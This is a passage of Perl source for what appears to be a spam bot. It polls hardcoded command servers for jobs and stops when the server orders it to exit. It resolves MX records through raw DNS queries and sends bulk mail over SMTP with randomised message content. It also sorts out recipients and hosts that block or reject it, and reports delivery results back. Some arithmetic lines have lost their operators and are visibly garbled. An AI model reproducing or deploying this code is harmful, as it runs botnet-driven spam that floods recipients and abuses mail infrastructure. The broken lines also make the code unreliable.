$b->{report} .= "$mail - [ns_cn] Can't connect\x0A" if $b->{level} > 1;

}

#

shift @$mail_array;

#

push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;

#

last;

}

}

}

#

unless ($writers->add($socket))

{

#

#

close $socket;

#

push @{$b->{mailbase}}, $mail_array;

#

last;

}

#

$session->{$socket} =

{

status => "ns_wr",

buffer => "",

object => $mail_array,

sender => 0,

flagset => $flagset->{timeout},

timeout => 0,

type => $type,

packet => int rand 65536,

size => 0

};

#

$session->{$socket}{buffer} .= pack ("nSn4", $session->{$socket}{packet}, 1, 1, 0, 0, 0);

$session->{$socket}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $mx));

$session->{$socket}{buffer} .= pack ("Cn2", 0, $session->{$socket}{type}, 1);

$session->{$socket}{sender} = length $session->{$socket}{buffer};

if ($test->{udp53}[0] == 0)

{

$session->{$socket}{status} = "ns_cn";

$session->{$socket}{buffer} = join ("", pack ("n", $session->{$socket}{sender}), $session->{$socket}{buffer});

}

#

last;

}

}

elsif ($counter_addr && !scalar keys %$session)

{

$counter_addr = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]) if $counter_addr > ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);

$request_time = $time if $counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);

}

#

my $writable = [$writers->handles];

foreach my $handle (@$writable)

{

#

if ($session->{$handle}{flagset} & $flagset->{timeout})

{

#

#

if ($session->{$handle}{status} =~ /^rs/)

{

#

$session->{$handle}{timeout} = $time + $s->{timeout};

}

else

{

#

$session->{$handle}{timeout} = $time + $b->{timeout};

}

#

$session->{$handle}{flagset} ^= $flagset->{timeout};

}

elsif ($time >= $session->{$handle}{timeout})

{

#

#

$destroy->($writers, $handle);

}

}

#

$writable = (IO::Select->select(undef, $writers, undef, 0))[1];

foreach my $handle (@$writable)

{

if ($session->{$handle}{status} =~ /cn$/)

{

#

if ($handle->connected)

{

#

#

#

#

if ($session->{$handle}{status} eq "rs_cn")

{

$session->{$handle}{status} = "rs_wr";

}

elsif ($session->{$handle}{status} eq "ns_cn")

{

$session->{$handle}{status} = "ns_wr";

}

else

{

$session->{$handle}{status} = "mx_rd";

#

unless ($readers->add($handle))

{

#

#

$destroy->($writers, $handle);

#

next;

}

#

$writers->remove($handle);

}

}

else

{

#

#

$destroy->($writers, $handle);

}

}

else

{

#

my $result;

if ($session->{$handle}{status} eq "ns_wr")

{

if ($test->{udp53}[0] == 0)

{

$result = $handle->send($session->{$handle}{buffer});

}

else

{

my $nameserver = shift @{$b->{nameserver}}; push @{$b->{nameserver}}, $nameserver;

$result = $handle->send($session->{$handle}{buffer}, 0, $_ = sockaddr_in(53, $nameserver));

}

}

else

{

$result = syswrite ($handle, $session->{$handle}{buffer});

}

if (defined $result && $result > 0)

{

#

#

#

#

#

substr ($session->{$handle}{buffer}, 0, $result) = "";

#

if (length $session->{$handle}{buffer} < 1)

{

#

#

if ($session->{$handle}{status} eq "rs_wr")

{

$session->{$handle}{status} = "rs_rd";

#

if ($s->{command} && $counter_addr && ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0])))

{

$counter_addr = 0;

$b->{$_} = [] for (qw (mailbase from replyto subject));

$b->{$_} = [0, ""] for (qw (good unlucky bad));

$b->{report} = "";

$cache = {};

}

#

$request_time = $time + $s->{request} 60;

}

elsif ($session->{$handle}{status} eq "ns_wr")

{

$session->{$handle}{status} = "ns_rd";

}

#

unless ($readers->add($handle))

{

#

#

$destroy->($writers, $handle);

#

next;

}

#

$writers->remove($handle);

}

}

elsif ($! == $E_WOULDBLOCK)

{

#

#

next;

}

else

{

#

#

$destroy->($writers, $handle);

}

}

}

#

my $readable = [$readers->handles];

foreach my $handle (@$readable)

{

#

if ($session->{$handle}{flagset} & $flagset->{timeout})

{

#

#

if ($session->{$handle}{status} =~ /^rs/)

{

#

$session->{$handle}{timeout} = $time + $s->{timeout};

}

else

{

#

$session->{$handle}{timeout} = $time + $b->{timeout};

}

#

$session->{$handle}{flagset} ^= $flagset->{timeout};

}

elsif ($time >= $session->{$handle}{timeout})

{

#

#

$destroy->($readers, $handle);

}

}

#

$readable = (IO::Select->select($readers, undef, undef, 0))[0];

foreach my $handle (@$readable)

{

#

my $result;

if ($session->{$handle}{status} eq "ns_rd")

{

if ($test->{udp53}[0] == 0)

{

my $tempbuffer = "";

if ($session->{$handle}{size} == 0)

{

$handle->recv($tempbuffer, (2 - length $session->{$handle}{buffer}));

$session->{$handle}{buffer} .= $tempbuffer;

if (2 == length $session->{$handle}{buffer})

{

$session->{$handle}{size} = unpack ("n", $session->{$handle}{buffer});

$session->{$handle}{buffer} = "";

}

next;

}

$handle->recv($tempbuffer, ($session->{$handle}{size} - length $session->{$handle}{buffer}));

$session->{$handle}{buffer} .= $tempbuffer;

if ($session->{$handle}{size} == length $session->{$handle}{buffer})

{

$result = $session->{$handle}{size};

}

}

else

{

$result = $handle->recv($session->{$handle}{buffer}, 512);

$result = length $session->{$handle}{buffer} if defined $result;

}

}

else

{

$result = sysread ($handle, $session->{$handle}{buffer}, 16384, length $session->{$handle}{buffer});

}

if (defined $result)

{

#

if ($result > 0)

{

#

#

#

#

if ($session->{$handle}{status} eq "rs_rd")

{

#

next if 4 > length $session->{$handle}{buffer};

if ($session->{$handle}{buffer} !~ /^HTTP/)

{

#

#

$destroy->($readers, $handle);

#

next;

}

else

{

#

my $offset = index ($session->{$handle}{buffer}, "\x0D\x0A\x0D\x0A");

#

next unless $offset >= 0;

#

if ($session->{$handle}{buffer} =~ /^HTTP\S+\s+([^\x0D\x0A]*)/)

{

if ($1 !~ /^200/)

{

#

#

$destroy->($readers, $handle);

#

next;

}

$offset += 4;

#

#

next if 10 > (length $session->{$handle}{buffer}) - $offset;

#

my $server =

{

sign => 0,

timeout => 0,

request => 0,

command => 0,

size => 0

};

@_ = unpack ("S2C2L", substr ($session->{$handle}{buffer}, $offset, 10));

$server->{$_} = shift @_ for (qw (sign timeout request command size));

if ($server->{sign} != 0xAFAF)

{

#

#

$destroy->($readers, $handle);

#

next;

}

#

$first_exec = 0;

exit 0 if $server->{command};

#

$s->{timeout} = $server->{timeout};

$s->{request} = $server->{request};

#

$request_time = $time + $s->{request}
60;

#

unless ($server->{size})

{

#

#

$destroy->($readers, $handle);

#

next;

}

#

$offset += 10;

#

next if $server->{size} > (length $session->{$handle}{buffer}) - $offset;

#

substr ($session->{$handle}{buffer}, 0, $offset) = "";

@_ = unpack ("La4", substr ($session->{$handle}{buffer}, 0, 8, ""));

$b->{$_} = shift @_ for (qw (id ip));

$b->{nameserver} = [];

push @{$b->{nameserver}}, substr ($session->{$handle}{buffer}, 0, 4, "") for (1..16);

@_ = unpack ("S2C4", substr ($session->{$handle}{buffer}, 0, 8, ""));

$b->{$_} = shift @_ for (qw (timeout session copies method spf level));

@{$b->{$_}} = split ("\x0A", substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "")) for (qw (mailbase from replyto subject));

$counter_addr = scalar @{$b->{mailbase}};

my $mailbase_temp = {};

while (my $mail_temp = shift @{$b->{mailbase}})

{

my ($host_temp) = &mail(\$mail_temp);

$host_temp = lc ((split /@/, $$host_temp)[1]);

$mailbase_temp->{$host_temp} = [] unless exists $mailbase_temp->{$host_temp};

push @{$mailbase_temp->{$host_temp}}, $mail_temp;

}

foreach my $host_temp (keys %$mailbase_temp)

{

while (scalar @{$mailbase_temp->{$host_temp}})

{

my $mail_temp = [];

for (1..$b->{copies})

{

last unless scalar @{$mailbase_temp->{$host_temp}};

push @$mail_temp, shift @{$mailbase_temp->{$host_temp}};

}

push @{$b->{mailbase}}, $mail_temp;

}

}

undef $mailbase_temp;

#

#

$b->{header} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");

unless ($b->{header})

{

$b->{header} = ['Date: %DATE%', 'From: %FROMADDR%', 'Reply-To: %REPLYTOADDR%', 'X-Priority: %NPRIORITY%', 'Message-ID: <%MESSAGEID%@%HELO%>', 'To: %TOADDR%', 'Subject: %SUBJECT%'];

$b->{header} = join ("\x0D\x0A", @{$b->{header}}, 'MIME-Version: 1.0', 'Content-Type: text/%TYPE%; charset=%CHARSET%', 'Content-Transfer-Encoding: %ENCODING%');

}

$b->{letter} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");

$b->{letter} = "" unless $b->{letter};

$b->{$_} = unpack ("C", substr ($session->{$handle}{buffer}, 0, 1, "")) for (qw (priority type));

$b->{charset} = substr ($session->{$handle}{buffer}, 0, length $session->{$handle}{buffer}, "");

$b->{ip} = join (".", unpack ("C4", $b->{ip}));

unless ($b->{helo})

{

if (defined $s_nsex)

{

$b->{helo} = &nsptr($_ = sockaddr_in(25, $s_nsex), 3, $b->{ip});

}

else

{

$b->{helo} = &nsptr($_ = sockaddr_in(53, $b->{nameserver}[0]), 3, $b->{ip});

$b->{helo} = &nsptr($_ = sockaddr_in(53, pack ("C4", split (/\./, "8.8.8.8"))), 3, $b->{ip}) unless $b->{helo};

}

$b->{helo} = "localhost" unless $b->{helo};

}

$b->{report} = "\x0ACLIENT V.$s->{version} IP=$b->{ip} PTR=$b->{helo} ID=$b->{id}\x0A\x0A" if $b->{level} > 1;

#

#

$destroy->($readers, $handle);

#

next;

}

else

{

#

#

$destroy->($readers, $handle);

#

next;

}

}

}

elsif ($session->{$handle}{status} eq "ns_rd")

{

if (length $session->{$handle}{buffer})

{

my ($resp, $code) = &nsparser(\$session->{$handle}{buffer}, $session->{$handle}{sender}, $session->{$handle}{packet}, $session->{$handle}{type});

if ($resp == 2)

{

while ($_ = shift @{$session->{$handle}{object}})

{

$b->{bad}[0] ++;

if ($b->{level})

{

$b->{bad}[1] .= "$_\x0A";

$b->{report} .= "$_ - [ns_rd] $code\x0A" if $b->{level} > 1;

}

}

}

elsif ($resp == 1)

{

$resp = shift @{$session->{$handle}{object}};

$b->{unlucky}[0] ++;

if ($b->{level})

{

$b->{unlucky}[1] .= "$resp\x0A";

$b->{report} .= "$resp - [ns_rd] $code\x0A" if $b->{level} > 1;

}

push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};

}

else

{

$resp = @{$session->{$handle}{object}}[0];

($resp) = &mail(\$resp);

$resp = lc ((split /@/, $$resp)[1]);

$cache->{$resp}[0] = $code;

#

push @{$b->{mailbase}}, $session->{$handle}{object};

}

delete $session->{$handle}{object};

#

$destroy->($readers, $handle);

#

next;

}

}

elsif ($session->{$handle}{buffer} =~ /^[^\-]{4}.*\x0D\x0A$/m)

{

if ($session->{$handle}{buffer} !~ /^(2|3)/)

{

if ($b->{level} > 1)

{

$session->{$handle}{buffer} =~ s/\x0D//g;

$session->{$handle}{buffer} =~ s/[\x09|\x0A]+/\x20/g;

}

$session->{$handle}{mindex} -- if $session->{$handle}{mindex} > 0;

if ($session->{$handle}{status} =~ /^mx_(rd|gr)$/)

{

while ($_ = shift @{$session->{$handle}{object}})

{

$b->{unlucky}[0] ++;

if ($b->{level})

{

$b->{unlucky}[1] .= "$_\x0A";

$b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;

}

}

#

delete $session->{$handle}{object};

$destroy->($readers, $handle);

#

next;

}

elsif ($session->{$handle}{status} =~ /^mx_(mf|rt)$/)

{

if ($session->{$handle}{buffer} =~ /\d+\.\d+\.\d+\.\d+/g || $session->{$handle}{buffer} =~ /( ip |block|black|reject|later|many)/ig)

{

#

while ($_ = shift @{$session->{$handle}{object}})

{

$b->{unlucky}[0] ++;

if ($b->{level})

{

$b->{unlucky}[1] .= "$_\x0A";

$b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;

}

}

#

delete $session->{$handle}{object};

$destroy->($readers, $handle);

#

next;

}

else

{

#

$b->{bad}[0] ++;

if ($b->{level})

{

$b->{bad}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";

$b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Invalid recipient $session->{$handle}{buffer}\x0A" if $b->{level} > 1;

}

splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;

unless (scalar @{$session->{$handle}{object}})

{

#

delete $session->{$handle}{object};

$destroy->($readers, $handle);

#

next;

}

}

}

else

{

$b->{unlucky}[0] ++;

if ($b->{level})

{

$b->{unlucky}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";

$b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Delivery error $session->{$handle}{buffer}\x0A" if $b->{level} > 1;

}

splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;

push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};

#

delete $session->{$handle}{object};

$destroy->($readers, $handle);

#

next;

}

}

if ($session->{$handle}{status} eq "mx_rd")

{

my $helo = $b->{helo};

#

#

#

#

#

$session->{$handle}{buffer} = "HELO $helo\x0D\x0A";

$session->{$handle}{status} = "mx_gr";

}

elsif ($session->{$handle}{status} eq "mx_gr")

{

my ($mail) = &mail(\$session->{$handle}{sender});

$session->{$handle}{buffer} = "MAIL FROM: <$$mail>\x0D\x0A";

$session->{$handle}{status} = "mx_mf";

}

elsif ($session->{$handle}{status} eq "mx_mf")

{

my ($mail) = &mail(\$session->{$handle}{object}[$session->{$handle}{mindex}]);

$session->{$handle}{buffer} = "RCPT TO: <$$mail>\x0D\x0A";

$session->{$handle}{mindex} ++;

$session->{$handle}{status} = $session->{$handle}{mindex} >= scalar @{$session->{$handle}{object}} ? "mx_rt" : "mx_mf";

}

elsif ($session->{$handle}{status} eq "mx_rt")

{

$session->{$handle}{buffer} = "DATA\x0D\x0A";

$session->{$handle}{status} = "mx_dt";

}

elsif ($session->{$handle}{status} eq "mx_dt")

{

$session->{$handle}{buffer} = &data($session->{$handle}{object}, $session->{$handle}{sender}, $b);

$session->{$handle}{buffer} .= "\x0D\x0A.\x0D\x0A";

$session->{$handle}{status} = "mx_dr";

}

elsif ($session->{$handle}{status} eq "mx_dr")

{

$b->{good}[0] += scalar @{$session->{$handle}{object}};

if ($b->{level})

{

while ($_ = shift @{$session->{$handle}{object}})

{

$b->{good}[1] .= "$_\x0A";

}

}

delete $session->{$handle}{object};

$session->{$handle}{buffer} = "QUIT\x0D\x0A";

$session->{$handle}{status} = "mx_qt";

}

else

{

$destroy->($readers, $handle);

#

next;

}

unless ($writers->add($handle))

{

#

#

$destroy->($readers, $handle);

#

next;

}

#

$readers->remove($handle);

}

}

else

{

#

#

$destroy->($readers, $handle);

#

next;

}

}

elsif ($! == $E_WOULDBLOCK)

{

#

#

next;

}

else

{

#

#

$destroy->($readers, $handle);

#

next;

}

}

}

}

sub nsunpack

{

my ($packet, $offset) = @_;

my ($length, $size, $name, $next) = (length $$packet, 0, "", "");

while (1)

{

return if $length < ($offset + 1);

$size = unpack ("@$offset C", $$packet);

if ($size == 0)

{

$offset ++;

last;

}

elsif (($size & 192) == 192)

{

return if $length < ($offset + 2);

$next = unpack ("@$offset n", $$packet);

$next &= 16383;

($next) = &nsunpack($packet, $next);

return if !defined $next;

$name .= $next;

$offset += 2;

last;

}

else

{

$offset ++;

return if $length < ($offset + $size);

$next = substr ($$packet, $offset, $size);

$name .= "$next.";

$offset += $size;

}

}

$name =~ s/\.$//;

return if !length $name;

return ($name, $offset);

}

sub nsrecord

{

my ($packet, $offset) = @_;

my ($length, $name) = (length $$packet, "");

($name, $offset) = &nsunpack($packet, $offset);

return if !defined $name || $length < ($offset + 10);

my ($rtype, $rclass, $rttl, $rlength) = unpack ("@$offset n2Nn", $$packet);

$offset += 10;

return if $length < ($offset + $rlength);

return ($name, $offset, $rtype, $rclass, $rttl, $rlength);

}

sub nsparser

{

my ($packet, $offset, $sequence, $type) = @_;

my ($length, $name) = (length $$packet, "");

return (1, "Broken header") if $length < 12;

@_ = unpack ("nC2n4", $$packet);

my $header =

{

id => $_[0],

qr => ($_[1] >> 7) & 1,

opcode => ($_[1] >> 3) & 15,

aa => ($_[1] >> 2) & 1,

tc => ($_[1] >> 1) & 1,

rd => $_[1] & 1,

ra => ($_[2] >> 7) & 1,

z => ($_[2] >> 4) & 6,

rcode => $_[2] & 15,

qdcount => $_[3],

ancount => $_[4],

nscount => $_[5],

arcount => $_[6]

};

return (1, "Synchronization error") if $header->{id} != $sequence;

return (1, "Recursion disabled") if !$header->{ra};

return (2, "Query format error") if $header->{rcode} == 1;

return (2, "Server failure") if $header->{rcode} == 2;

return (2, "Non-existent domain") if $header->{rcode} == 3;

return (2, "Empty answer section") if !$header->{ancount};

#

return (1, "Broken packet") if $length < $offset;

my ($answer, $rtype, $rclass, $rttl, $rlength) = ({}, 0, 0, 0, 0);

while ($header->{ancount})

{

$header->{ancount} --;

($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);

last if !defined $name;

if ($type != $rtype)

{

$offset += $rlength;

next;

}

if ($type == 1)

{

$name = substr ($$packet, $offset, 4);

last if !defined $name || 4 > length $name;

$offset += $rlength;

$name = inet_ntoa($name);

$answer->{$name} = 1;

}

elsif ($type == 12)

{

($name, $offset) = &nsunpack($packet, $offset);

last if !defined $name;

$answer->{$name} = 1;

}

elsif ($type == 15)

{

$sequence = substr ($$packet, $offset, 2);

last if !defined $sequence || 2 > length $sequence;

($name, $offset) = &nsunpack($packet, ($offset + 2));

last if !defined $name;

$answer->{$name} = unpack ("n", $sequence);

}

}

return (2, "No resourse records") if !scalar keys %$answer;

my $result = (sort {$answer->{$a} <=> $answer->{$b}} keys %$answer)[0];

if ($type == 15 && $header->{arcount})

{

while ($header->{nscount})

{

$header->{nscount} --;

($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);

last if !defined $name;

$offset += $rlength;

}

while ($header->{arcount})

{

$header->{arcount} --;

($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);

last if !defined $name;

if ($rtype == 1 && exists $answer->{$name})

{

$name = substr ($$packet, $offset, 4);

last if !defined $name || 4 > length $name;

$result = inet_ntoa($name);

last;

}

$offset += $rlength;

}

}

return (0, $result);

}

sub nsptr

{

my ($packaddr, $timeout, $query) = @_; my $type = 12;

return if !defined $query || $query !~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/;

return if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255);

$query = "$4.$3.$2.$1.in-addr.arpa";

my $packid = int rand 65536; my $packet = pack ("nSn4", $packid, 1, 1, 0, 0, 0);

$packet .= pack ("C", length $_) . $_ for (split (/\./, lc $query));

$packet .= pack ("Cn2", 0, $type, 1);

my $offset = length $packet;

my ($socket, $select, $buffer, $resp, $text, $size);

if ($test->{udp53}[0] == 1)

{

$socket = IO::Socket::INET->new(Proto=>"udp");

return unless $socket;

$select = new IO::Select $socket;

if ($select->can_write($timeout))

{

unless ($socket->send($packet, 0, $packaddr))

{

close $socket;

return;

}

}

else

{

close $socket;

return;

}

if ($select->can_read($timeout))

{

$socket->recv($buffer, 512);

}

else

{

close $socket;

return;

}

close $socket;

return if !defined $buffer || !length $buffer;

}

else

{

$socket = IO::Socket::INET->new(Proto=>"tcp", Type=>SOCK_STREAM);

return unless $socket;

$select = new IO::Select $socket;

if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }

unless ($socket->connect($packaddr))

{

if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)

{

close $socket;

return;

}

unless ($select->can_write($timeout))

{

close $socket;

return;

}

unless ($socket->connected)

{

close $socket;

return;

}

}

$socket->blocking(1);

$packet = pack ("n", length $packet) . $packet;

if ($select->can_write($timeout))

{

unless ($socket->send($packet))

{

close $socket;

return;

}

}

else

{

close $socket;

return;

}

if ($select->can_read($timeout))

{

$buffer = ""; $text = 2;

while ((length $buffer) < $text)

{

$size = $text - length $buffer; $resp = "";

unless ($socket->recv($resp, $size))

{

last if !length $resp;

}

last if !length $resp;

$buffer .= $resp;

}

if (!length $buffer)

{

close $socket;

return;

}

unless ($text = unpack ("n", $buffer))

{

close $socket;

return;

}

unless ($select->can_read($timeout))

{

close $socket;

return;

}

$buffer = "";

while ((length $buffer) < $text)

{

$size = $text - length $buffer; $resp = "";

unless ($socket->recv($resp, $size))

{

last if !length $resp;

}

last if !length $resp;

$buffer .= $resp;

}

unless ($text == length $buffer)

{

close $socket;

return;

}

}

else

{

close $socket;

return;

}

close $socket;

return if !defined $buffer || !length $buffer;

}

($resp, $text) = &nsparser(\$buffer, $offset, $packid, $type);

return !$resp ? $text : undef;

}

sub mail

{

my $line = shift;

return if !defined $$line || $$line !~ /^[^@]+@[^@]+\.[^@]+$/;

my ($name, $mail, $info) = $$line =~ /\s*(.*?)[\s|<]*([^\s|<]+@[^>|\s]+)>*(.*)$/;

return if !$mail;

$info =~ s/.*?|[\s|]*(.+?)[\s|]*$/$1/ if length $info;

return (\$mail, \$name, \$info); }

sub init {

&main('194.54.81.163', 25, '/', '194.54.81.162');

&main('194.54.81.164', 25, '/', '194.54.81.162'); }

sub data {

my ($to, $from, $b) = @_;

my $time = time;

my $zone = sprintf ("%s%02d00", $b->{timezone}[0], $b->{timezone}[1]);

my $date = localtime $time; $date =~ s/^(\w+)\s+(\w+)\s+(\d+)\s+(\d+):(\d+):(\d+)\s+(\d+)$/sprintf "$1, $3 $2 $7 $4:$5:$6 %s", $zone/e;

my $wday = {Mon => "Monday", Tue => "Tuesday", Wed => "Wednesday", Thu => "Thursday", Fri => "Friday", Sat => "Saturday", Sun => "Sunday"}->{$1};

my $nmon = {Jan => 1, Feb => 2, Mar => 3, Apr => 4, May => 5, Jun => 6, Jul => 7, Aug => 8, Sep => 9, Oct => 10, Nov => 11, Dec => 12}->{$2};

my $tmon = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]->[$nmon - 1];

my $ampm = "AM"; my $hour = int $4; $ampm = "PM" if $hour == 12; $hour = 12 if $hour == 0; if ($hour > 12) { $ampm = "PM"; $hour -= 12; }

$date =

{

DATE => $date,

WWWW => $wday,

WWW => $1,

DD => sprintf ("%02d", $3),

D => $3,

MMMM => $tmon,

MMM => $2,

MM => sprintf ("%02d", $nmon),

M => $nmon,

YYYY => $7,

YY => substr ($7, -2),

Z => $zone,

TT => $ampm,

tt => lc $ampm,

HH => $4,

H => int $4,

hh => sprintf ("%02d", $hour),

h => $hour,

mm => $5,

m => int $5,

ss => $6,

s => int $6

};

my ($mail, $name) = &mail(\$from);

my ($user, $host) = split (/@/, $$mail);

$from = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};

my $replyto = $from;

if ($b->{from}[0] ne $b->{replyto}[0])

{

($mail, $name) = &mail(@{$b->{replyto}}[int rand scalar @{$b->{replyto}}]);

($user, $host) = split (/@/, $$mail);

$replyto = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};

}

if ($b->{method} == 0)

{

#

@_ = ();

foreach (@$to) { ($mail, $name) = &mail(\$_); $_ = length $$name ? "$$name <$$mail>" : "<$$mail>"; push @_, $_; }

($user, $host) = split (/@/, $$mail);

$to = {ADDR => join (",\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20", @_), NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};

}

else

{

#

($mail, $name) = &mail(\$to->[0]);

($user, $host) = split (/@/, $$mail);

$to = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};

}

my $head =

{

HELO => $b->{helo},

TYPE => $b->{type} ? "html" : "plain",

SUBJECT => @{$b->{subject}}[int rand scalar @{$b->{subject}}],

CHARSET => $b->{charset},

ENCODING => $b->{charset} eq "windows-1251" ? "8bit" : "7bit",

NPRIORITY => (5 - $b->{priority} $b->{priority} - ($b->{priority} == 1 ? 1 : 0)),

TPRIORITY => ["Low", "Normal", "High"]->[$b->{priority}],

MESSAGEID => sprintf ("%08x\.%04x%04x", int ($time
0.0023283064365387 + 27111902.8329849), int rand 32769, int rand 32769)

};

my $letter = length $b->{letter} ? sprintf ("%s%s%s", $b->{header}, "\x0D\x0A\x0D\x0A", $b->{letter}) : $b->{header};

$letter =~ s/%$_%/$head->{$_}/g foreach (keys %$head);

$letter =~ s/%$_%/$date->{$_}/g foreach (keys %$date);

$letter =~ s/%FROM$_%/$from->{$_}/g foreach (keys %$from);

$letter =~ s/%REPLYTO$_%/$replyto->{$_}/g foreach (keys %$replyto);

$letter =~ s/%TO$_%/$to->{$_}/g foreach (keys %$to);

&tag(\$letter);

if (!length $b->{letter})

{

$letter =~ s/\x0D//gm;

$letter =~ s/\x0A/\x0D\x0A/gm;

}

return $letter;

}

#

sub quoted ($)

{

my $line = shift;

$line =~ s/([^ \t\x0D\x0A!"#\$%&'()*+,\-.\/0-9:;<>?@A-Z[\\\]^_`a-z{|}~])/sprintf ("=%02X", ord ($1))/eg;

$line =~ s/([ \t]+)$/join ("", map {sprintf ("=%02X", ord ($_))} split ("", $1))/egm;

my $lines = "";

$lines .= "$1=\x0D\x0A" while $line =~ s/(.*?^[^\x0D\x0A]{71}(?:[^=\x0D\x0A]{2}(?![^=\x0D\x0A]{0,1}$)|[^=\x0D\x0A](?![^=\x0D\x0A]{0,2}$)|(?![^=\x0D\x0A]{0,3}$)))//xsm;

$lines .= $line;

return $lines;

}

#

sub tag

{

my $line = shift;

my $save = [];

$$line =~ s/\[random\]([^\[]*)\[\/random\]({\d+,\d+})?(\((\d+)\))?/&tagrandom($1, $2, $4, \$save)/eg;

$$line =~ s/\[string\]([^\[]*)\[\/string\](\((\d+)\))?/&tagstring($1, $3, \$save)/eg;

$$line =~ s/%\[(\d+)\]/$1 < 64 && defined $save->[$1] ? $save->[$1] : ""/eg;

$$line =~ s/\[quot\](.*?)\[\/quot\]/"ed($1)/egs;

}

#

sub tagrandom

{

my ($line, $spec, $cell, $save) = @_;

if (defined $line && length $line)

{

if (defined $spec && $spec =~ /^{(\d+),(\d+)}$/)

{

$spec = $2 > 64 ? 64 : $2;

$spec = $1 < $spec ? ($1 + int rand (1 + $spec - $1)) : $spec;

}

else

{

$spec = length $line;

$spec = 1 + ($spec > 64 ? int rand 64 : int rand $spec);

}

$line = [split (//, $line)];

$line = join ('', @$line[map {rand @$line}(1..$spec)]);

}

$line = defined $line ? $line : "";

$$save->[$cell] = $line if defined $cell && $cell < 64;

return $line;

}

#

sub tagstring

{

my ($line, $cell, $save) = @_;

if (defined $line && length $line)

{

$line = [split (/|/, $line)];

$line = $line->[int rand scalar @$line];

}

$line = defined $line ? $line : "";

$$save->[$cell] = $line if defined $cell && $cell < 64;

return $line;

}

sub test

{

while (1)

{

my $readers = IO::Select->new() or last;

my $writers = IO::Select->new() or last;

my $session = {};

foreach my $result (keys %$test)

{

while (1 < scalar @{$test->{$result}})

{

my $host = pop @{$test->{$result}};

my $addr = gethostbyname $host;

next unless $addr;

my ($protocol, $port);

if ($result eq "ip")

{

($protocol, $port) = ("tcp", 80);

}

else

{

($protocol, $port) = $result =~ /^(tcp|udp)(\d+)$/;

}

$addr = sockaddr_in($port, $addr);

my $socket = $protocol eq "tcp" ? IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM) : IO::Socket::INET->new(Proto => "udp");

next unless $socket;

if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }

if ($protocol eq "tcp")

{

unless ($socket->connect($addr))

{

if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)

{

close $socket;

next;

}

}

}

$writers->add($socket);

$session->{$socket} = {status => $protocol eq "tcp" ? "cn" : "wr", buffer => "", timeout => 5, result => $result, addr => $addr};

if ($port == 53)

{

$session->{$socket}{buffer} .= pack ("nSn4", int rand 65535, 1, 1, 0, 0, 0);

$session->{$socket}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $host));

$session->{$socket}{buffer} .= pack ("Cn2", 0, 1, 1);

$session->{$socket}{buffer} = join ("", pack ("n", length $session->{$socket}{buffer}), $session->{$socket}{buffer}) if $protocol eq "tcp";

}

elsif ($port == 80)

{

$session->{$socket}{buffer} = join ("\x0D\x0A", "GET / HTTP/1.1", "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, /*", "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Host: $host", "Connection: close", "Cache-Control: no-cache", "\x0D\x0A");

}

}

}

$session->{$_}{timeout} += time foreach (keys %$session);

while ($readers->count() || $writers->count())

{

my $time = time;

my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];

foreach my $handle (@$writable)

{

if ($session->{$handle}{status} eq "cn")

{

if ($handle->connected)

{

if ($session->{$handle}{result} eq "tcp25")

{

$session->{$handle}{status} = "rd";

$readers->add($handle);

$writers->remove($handle);

}

else

{

$session->{$handle}{status} = "wr";

}

}

else

{

$session->{$handle}{timeout} = 0;

}

}

else

{

my $result;

if ($session->{$handle}{result} eq "udp53")

{

$result = $handle->send($session->{$handle}{buffer}, 0, $session->{$handle}{addr});

}

elsif ($session->{$handle}{result} eq "tcp53")

{

$result = $handle->send($session->{$handle}{buffer});

}

else

{

